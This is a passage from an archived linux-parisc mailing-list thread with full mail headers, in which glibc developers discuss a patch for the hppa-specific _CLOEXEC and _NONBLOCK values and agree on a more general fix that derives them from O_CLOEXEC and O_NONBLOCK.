Is this because hppa doesn't use the same values as x86 and the only
way to get your own values is to modify your own copies of said files?

Cheers,
Carlos.


From - Thu Nov 08 21:06:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] HPPA : Define all the hppa specific _CLOEXEC and 
 _NONBLOCK values
Date: Fri, 6 Aug 2010 16:44:00 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20100806164400.385f383e@borg.bxl.tuxicoman.be>
References: <1281096124-27484-1-git-send-email-gmsoft@tuxicoman.be>
	<AANLkTi=3cdO86eCfXxoF3fPi2RjjTWHxFEoOLLLinXuq@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1281105853 12766 80.91.229.12 (6 Aug 2010 14:44:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 6 Aug 2010 14:44:13 +0000 (UTC)
Cc: libc-ports@sourceware.org, linux-parisc@vger.kernel.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 06 16:44:11 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OhO9a-0007B5-0U
	for glpp-linux-parisc@lo.gmane.org; Fri, 06 Aug 2010 16:44:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754948Ab0HFOoJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Aug 2010 10:44:09 -0400
Original-Received: from smtp3.tech.numericable.fr ([82.216.111.39]:50896 "EHLO
	smtp3.tech.numericable.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752016Ab0HFOoI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Aug 2010 10:44:08 -0400
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.107.20.coditel.net [85.28.107.20])
	by smtp3.tech.numericable.fr (Postfix) with ESMTP id 62E703E423;
	Fri,  6 Aug 2010 16:44:01 +0200 (CEST)
Original-Received: from [2001:6f8:310:301::1] (helo=borg.bxl.tuxicoman.be)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.72)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1OhO9R-0008TW-CG; Fri, 06 Aug 2010 16:44:01 +0200
In-Reply-To: <AANLkTi=3cdO86eCfXxoF3fPi2RjjTWHxFEoOLLLinXuq@mail.gmail.com>
X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.9; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3030
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3030>

On Fri, 6 Aug 2010 10:34:12 -0400
"Carlos O'Donell" <carlos@systemhalted.org> wrote:
> 
> Is this because hppa doesn't use the same values as x86 and the only
> way to get your own values is to modify your own copies of said files?

As far as I can see, yes. Alpha is doing exactly the same thing.

Maybe a better fix would be to have glibc derive the value of all the
_CLOEXEC and _NONBLOCK from O_CLOEXEC and O_NONBLOCK instead of each
having its own copy. This is how they are defined in the kernel anyway.


Cheers,
  Guy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] HPPA : Define all the hppa specific _CLOEXEC and 
	_NONBLOCK values
Date: Fri, 6 Aug 2010 10:52:47 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <AANLkTikquiwu1WjQ_b3KHkRzAmWMQxyMd0dViLJ_ZT94@mail.gmail.com>
References: <1281096124-27484-1-git-send-email-gmsoft@tuxicoman.be>
	<AANLkTi=3cdO86eCfXxoF3fPi2RjjTWHxFEoOLLLinXuq@mail.gmail.com>
	<20100806164400.385f383e@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1281106375 14792 80.91.229.12 (6 Aug 2010 14:52:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 6 Aug 2010 14:52:55 +0000 (UTC)
Cc: libc-ports@sourceware.org, linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 06 16:52:53 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OhOI0-0006nY-SO
	for glpp-linux-parisc@lo.gmane.org; Fri, 06 Aug 2010 16:52:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933204Ab0HFOww (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Aug 2010 10:52:52 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:53836 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759702Ab0HFOwv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Aug 2010 10:52:51 -0400
Original-Received: by fxm14 with SMTP id 14so3920091fxm.19
        for <linux-parisc@vger.kernel.org>; Fri, 06 Aug 2010 07:52:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type;
        bh=qI/7SVbVRt5rlmkGz+qY36h0Fl9KX5fwxYNFZQdSw94=;
        b=jnmvNV68HrcFQ30qNpX3tZr5I4r2UM/t8fYhjFOHLHF2Hk6U7rOzCmtsyFFinYg4ZB
         Z993oHTN43PxRhh1tqmwxJbOEl3p/h0V2vAD8pd55yPGlGADVEEXCrjPS3S1chfcwzz5
         RXM+esCzDjRK9xLKXFY6JY6FlFbXarhKQ8eY0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=nmly/nXZDKcaFFSYRLP5ldmC+EOzVlKiXbFgv+MIVO93M6/jI/UbtFzuoRr3YNO6V5
         55CJ0Vb39OzBnwnIzEc2NHIFTpqhdBHKNCUEqx9uJuTUWHKbBCL3irL1uNV0ftGMHI8+
         UEC9sUP1TCkug86XET7fDQ6jEP2Q15wWXlsJU=
Original-Received: by 10.239.172.129 with SMTP id a1mr622553hbf.38.1281106367764; Fri, 
	06 Aug 2010 07:52:47 -0700 (PDT)
Original-Received: by 10.239.153.133 with HTTP; Fri, 6 Aug 2010 07:52:47 -0700 (PDT)
In-Reply-To: <20100806164400.385f383e@borg.bxl.tuxicoman.be>
X-Google-Sender-Auth: 90fnSd3ipMv0XDNzIq0t0MWZ_Hk
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3031
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3031>

On Fri, Aug 6, 2010 at 10:44 AM, Guy Martin <gmsoft@tuxicoman.be> wrote:
> On Fri, 6 Aug 2010 10:34:12 -0400
> "Carlos O'Donell" <carlos@systemhalted.org> wrote:
>>
>> Is this because hppa doesn't use the same values as x86 and the only
>> way to get your own values is to modify your own copies of said files?
>
> As far as I can see, yes. Alpha is doing exactly the same thing.
>
> Maybe a better fix would be to have glibc derive the value of all the
> _CLOEXEC and _NONBLOCK from O_CLOEXEC and O_NONBLOCK instead of each
> having its own copy. This is how they are defined in the kernel anyway.

Yes, it would be a better fix. However, I understand that this would
be more work and you may not have much time as a volunteer. Are you
interested in fixing this problem in a more general way? I would be
willing to help champion such a patch on libc-alpha.

It's getting a bit out of hand that each machine has to carry complete
copies of all of these headers.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] HPPA : Define all the hppa specific _CLOEXEC and 
 _NONBLOCK values
Date: Fri, 6 Aug 2010 17:03:14 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20100806170314.557db5b0@borg.bxl.tuxicoman.be>
References: <1281096124-27484-1-git-send-email-gmsoft@tuxicoman.be>
	<AANLkTi=3cdO86eCfXxoF3fPi2RjjTWHxFEoOLLLinXuq@mail.gmail.com>
	<20100806164400.385f383e@borg.bxl.tuxicoman.be>
	<AANLkTikquiwu1WjQ_b3KHkRzAmWMQxyMd0dViLJ_ZT94@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1281107004 17187 80.91.229.12 (6 Aug 2010 15:03:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 6 Aug 2010 15:03:24 +0000 (UTC)
Cc: libc-ports@sourceware.org, linux-parisc@vger.kernel.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 06 17:03:21 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OhOS5-0003jx-M6
	for glpp-linux-parisc@lo.gmane.org; Fri, 06 Aug 2010 17:03:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759071Ab0HFPDR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Aug 2010 11:03:17 -0400
Original-Received: from smtp6.tech.numericable.fr ([82.216.111.42]:56868 "EHLO
	smtp6.tech.numericable.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756970Ab0HFPDQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Aug 2010 11:03:16 -0400
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.107.20.coditel.net [85.28.107.20])
	by smtp6.tech.numericable.fr (Postfix) with ESMTP id 845A114401A;
	Fri,  6 Aug 2010 17:03:15 +0200 (CEST)
Original-Received: from [2001:6f8:310:301::1] (helo=borg.bxl.tuxicoman.be)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.72)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1OhOS2-0008Vz-PF; Fri, 06 Aug 2010 17:03:14 +0200
In-Reply-To: <AANLkTikquiwu1WjQ_b3KHkRzAmWMQxyMd0dViLJ_ZT94@mail.gmail.com>
X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.9; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3032
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3032>

On Fri, 6 Aug 2010 10:52:47 -0400
"Carlos O'Donell" <carlos@systemhalted.org> wrote:

> 
> Yes, it would be a better fix. However, I understand that this would
> be more work and you may not have much time as a volunteer. Are you
> interested in fixing this problem in a more general way? I would be
> willing to help champion such a patch on libc-alpha.

Sure, let me give it a try. I'll resend a patch going that way in a day
or two.

> It's getting a bit out of hand that each machine has to carry complete
> copies of all of these headers.

Yes I wasn't happy with the approach as well :)

Cheers,
  Guy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] HPPA : Define all the hppa specific _CLOEXEC and 
	_NONBLOCK values
Date: Fri, 6 Aug 2010 11:20:32 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <AANLkTimjv3VHVVty_0fA3A1hCNVL-of3Oujj0cf8kwwu@mail.gmail.com>
References: <1281096124-27484-1-git-send-email-gmsoft@tuxicoman.be> 
	<AANLkTi=3cdO86eCfXxoF3fPi2RjjTWHxFEoOLLLinXuq@mail.gmail.com> 
	<20100806164400.385f383e@borg.bxl.tuxicoman.be> <AANLkTikquiwu1WjQ_b3KHkRzAmWMQxyMd0dViLJ_ZT94@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1281108068 21174 80.91.229.12 (6 Aug 2010 15:21:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 6 Aug 2010 15:21:08 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>, libc-ports@sourceware.org,
	linux-parisc@vger.kernel.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 06 17:21:06 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OhOjI-00057Q-Gb
	for glpp-linux-parisc@lo.gmane.org; Fri, 06 Aug 2010 17:21:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761501Ab0HFPU4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Aug 2010 11:20:56 -0400
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:37880 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1761498Ab0HFPUx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Aug 2010 11:20:53 -0400
Original-Received: by bwz3 with SMTP id 3so47361bwz.19
        for <linux-parisc@vger.kernel.org>; Fri, 06 Aug 2010 08:20:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:mime-version:received:in-reply-to
         :references:from:date:message-id:subject:to:cc:content-type;
        bh=0noF19jTUFGbsJev/WqKClx95vIAz2mT4OHS57WhQDw=;
        b=dJKPDYmVL5rN97TUKE22KmkrWMWLqvFgDTU/heNkVBePN0IkkkTYJTqfWpxO6v/vs7
         wzKZspkg5iI86wdOIuM6HodVvH6MyXnsydn9j/kdPOA2qEKz0HmIJq59/I9wE5ePsRsE
         YkcbDFEjbuYATiaTS6mD/P5XkZXbUuMbNXdoE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        b=WI/M2pRsLJMWtnEXcNFGvZUrg3HgutE/dMW49weaqGuPpq4CLHLufTYbKUb3IWW+4l
         BvOU3PH7fp9ve+cpMqFFGlLEnODmOFZmv50/HwjYccScMtr4iFTAWJ8ArkzFlpywXc5e
         LI8t9UDRx4FwW3lGV0lxHq0OudwplycFUSthY=
Original-Received: by 10.204.128.130 with SMTP id k2mr7831337bks.159.1281108052269; 
	Fri, 06 Aug 2010 08:20:52 -0700 (PDT)
Original-Received: by 10.204.30.200 with HTTP; Fri, 6 Aug 2010 08:20:32 -0700 (PDT)
In-Reply-To: <AANLkTikquiwu1WjQ_b3KHkRzAmWMQxyMd0dViLJ_ZT94@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3033
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3033>

On Fri, Aug 6, 2010 at 10:52 AM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> On Fri, Aug 6, 2010 at 10:44 AM, Guy Martin <gmsoft@tuxicoman.be> wrote:
>> On Fri, 6 Aug 2010 10:34:12 -0400
>> "Carlos O'Donell" <carlos@systemhalted.org> wrote:
>>>
>>> Is this because hppa doesn't use the same values as x86 and the only
>>> way to get your own values is to modify your own copies of said files?
>>
>> As far as I can see, yes. Alpha is doing exactly the same thing.
>>
>> Maybe a better fix would be to have glibc derive the value of all the
>> _CLOEXEC and _NONBLOCK from O_CLOEXEC and O_NONBLOCK instead of each
>> having its own copy. This is how they are defined in the kernel anyway.
>
> Yes, it would be a better fix. However, I understand that this would
> be more work and you may not have much time as a volunteer. Are you
> interested in fixing this problem in a more general way? I would be
> willing to help champion such a patch on libc-alpha.
>
> It's getting a bit out of hand that each machine has to carry complete
> copies of all of these headers.
>
> Cheers,
> Carlos.

I think we'd be interested in doing something like this for alpha as well.

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] HPPA : Define all the hppa specific _CLOEXEC and 
 _NONBLOCK values
Date: Fri, 6 Aug 2010 17:25:48 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <20100806172548.213ac500@borg.bxl.tuxicoman.be>
References: <1281096124-27484-1-git-send-email-gmsoft@tuxicoman.be>
	<AANLkTi=3cdO86eCfXxoF3fPi2RjjTWHxFEoOLLLinXuq@mail.gmail.com>
	<20100806164400.385f383e@borg.bxl.tuxicoman.be>
	<AANLkTikquiwu1WjQ_b3KHkRzAmWMQxyMd0dViLJ_ZT94@mail.gmail.com>
	<AANLkTimjv3VHVVty_0fA3A1hCNVL-of3Oujj0cf8kwwu@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1281108358 22239 80.91.229.12 (6 Aug 2010 15:25:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 6 Aug 2010 15:25:58 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	libc-ports@sourceware.org, linux-parisc@vger.kernel.org
To: Matt Turner <mattst88@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 06 17:25:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OhOny-0008Sp-Kt
	for glpp-linux-parisc@lo.gmane.org; Fri, 06 Aug 2010 17:25:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751547Ab0HFPZx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Aug 2010 11:25:53 -0400
Original-Received: from smtp2.tech.numericable.fr ([82.216.111.38]:43508 "EHLO
	smtp2.tech.numericable.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751357Ab0HFPZx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Aug 2010 11:25:53 -0400
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.107.20.coditel.net [85.28.107.20])
	by smtp2.tech.numericable.fr (Postfix) with ESMTP id 453EB18D81F;
	Fri,  6 Aug 2010 17:25:49 +0200 (CEST)
Original-Received: from [2001:6f8:310:301::1] (helo=borg.bxl.tuxicoman.be)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.72)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1OhOns-00006t-Pr; Fri, 06 Aug 2010 17:25:48 +0200
In-Reply-To: <AANLkTimjv3VHVVty_0fA3A1hCNVL-of3Oujj0cf8kwwu@mail.gmail.com>
X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.9; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3034
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3034>

On Fri, 6 Aug 2010 11:20:32 -0400
Matt Turner <mattst88@gmail.com> wrote:

> On Fri, Aug 6, 2010 at 10:52 AM, Carlos O'Donell
> <carlos@systemhalted.org> wrote:
> > On Fri, Aug 6, 2010 at 10:44 AM, Guy Martin <gmsoft@tuxicoman.be>
> > wrote:
> >> On Fri, 6 Aug 2010 10:34:12 -0400
> >> "Carlos O'Donell" <carlos@systemhalted.org> wrote:
> >>>
> >>> Is this because hppa doesn't use the same values as x86 and the
> >>> only way to get your own values is to modify your own copies of
> >>> said files?
> >>
> >> As far as I can see, yes. Alpha is doing exactly the same thing.
> >>
> >> Maybe a better fix would be to have glibc derive the value of all
> >> the _CLOEXEC and _NONBLOCK from O_CLOEXEC and O_NONBLOCK instead
> >> of each having its own copy. This is how they are defined in the
> >> kernel anyway.
> >
> > Yes, it would be a better fix. However, I understand that this would
> > be more work and you may not have much time as a volunteer. Are you
> > interested in fixing this problem in a more general way? I would be
> > willing to help champion such a patch on libc-alpha.
> >
> > It's getting a bit out of hand that each machine has to carry
> > complete copies of all of these headers.
> >
> > Cheers,
> > Carlos.
> 
> I think we'd be interested in doing something like this for alpha as
> well.
> 
> Matt


It seems that sparc is doing the same as well.
I'll produce a patch for glibc and glibc-ports that cleans this up.

Cheers,
  Guy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] HPPA : Define all the hppa specific _CLOEXEC and 
	_NONBLOCK values
Date: Fri, 6 Aug 2010 11:44:54 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <AANLkTi=Jcv-yA55y+uvKgMi9idG_AU1xgeGeiRK70i5b@mail.gmail.com>
References: <1281096124-27484-1-git-send-email-gmsoft@tuxicoman.be>
	<AANLkTi=3cdO86eCfXxoF3fPi2RjjTWHxFEoOLLLinXuq@mail.gmail.com>
	<20100806164400.385f383e@borg.bxl.tuxicoman.be>
	<AANLkTikquiwu1WjQ_b3KHkRzAmWMQxyMd0dViLJ_ZT94@mail.gmail.com>
	<AANLkTimjv3VHVVty_0fA3A1hCNVL-of3Oujj0cf8kwwu@mail.gmail.com>
	<20100806172548.213ac500@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1281109502 26302 80.91.229.12 (6 Aug 2010 15:45:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 6 Aug 2010 15:45:02 +0000 (UTC)
Cc: Matt Turner <mattst88@gmail.com>, libc-ports@sourceware.org,
	linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 06 17:45:00 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OhP6R-0001FA-AB
	for glpp-linux-parisc@lo.gmane.org; Fri, 06 Aug 2010 17:44:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756910Ab0HFPo6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Aug 2010 11:44:58 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:47663 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754774Ab0HFPo6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Aug 2010 11:44:58 -0400
Original-Received: by fxm14 with SMTP id 14so3953931fxm.19
        for <linux-parisc@vger.kernel.org>; Fri, 06 Aug 2010 08:44:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type;
        bh=2zz3v3JhKRH0VFqCBv1i2F20mrEAJ1y6aWKDsr9dvWU=;
        b=rw6mGZWC1GK8Yja9kdZAJaKi1rwYcjWw8n/yLzNToy0LNfFCOXo6zfvWiybkYOfLoQ
         MchEwjvNREVzXIk0oPQ/Te/EsSfXWNZMzdvQhMGeluwhl7k8e89oAo4FCarFv8BAkliN
         zpz2X7oLZYrLEWHGDR58Hvs9DGCVwvxn7Z9zI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=TXFU/lzsWBJ6TbmJCrdGQLjdT1yF+pkGiIkpI4/Qie1rBJzluteSg3w8lZZPosbS3v
         3sd/QJTQZGyR1g3t+3CYJO+a15MaPQPns/pr7SVE8O5qbJ+ZGVp+rmgjQq/L3Ca70TIW
         75NTJjepnItcs4j4tRVLJTem04NKV5gtaHrWc=
Original-Received: by 10.239.188.200 with SMTP id q8mr546516hbh.154.1281109494469; Fri, 
	06 Aug 2010 08:44:54 -0700 (PDT)
Original-Received: by 10.239.153.133 with HTTP; Fri, 6 Aug 2010 08:44:54 -0700 (PDT)
In-Reply-To: <20100806172548.213ac500@borg.bxl.tuxicoman.be>
X-Google-Sender-Auth: SbPnUVbmjrPnZmXFB5G9TVhaBbA
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3035
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3035>

On Fri, Aug 6, 2010 at 11:25 AM, Guy Martin <gmsoft@tuxicoman.be> wrote:
> It seems that sparc is doing the same as well.
> I'll produce a patch for glibc and glibc-ports that cleans this up.

Thanks Guy, I look forward to reviewing the patch.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
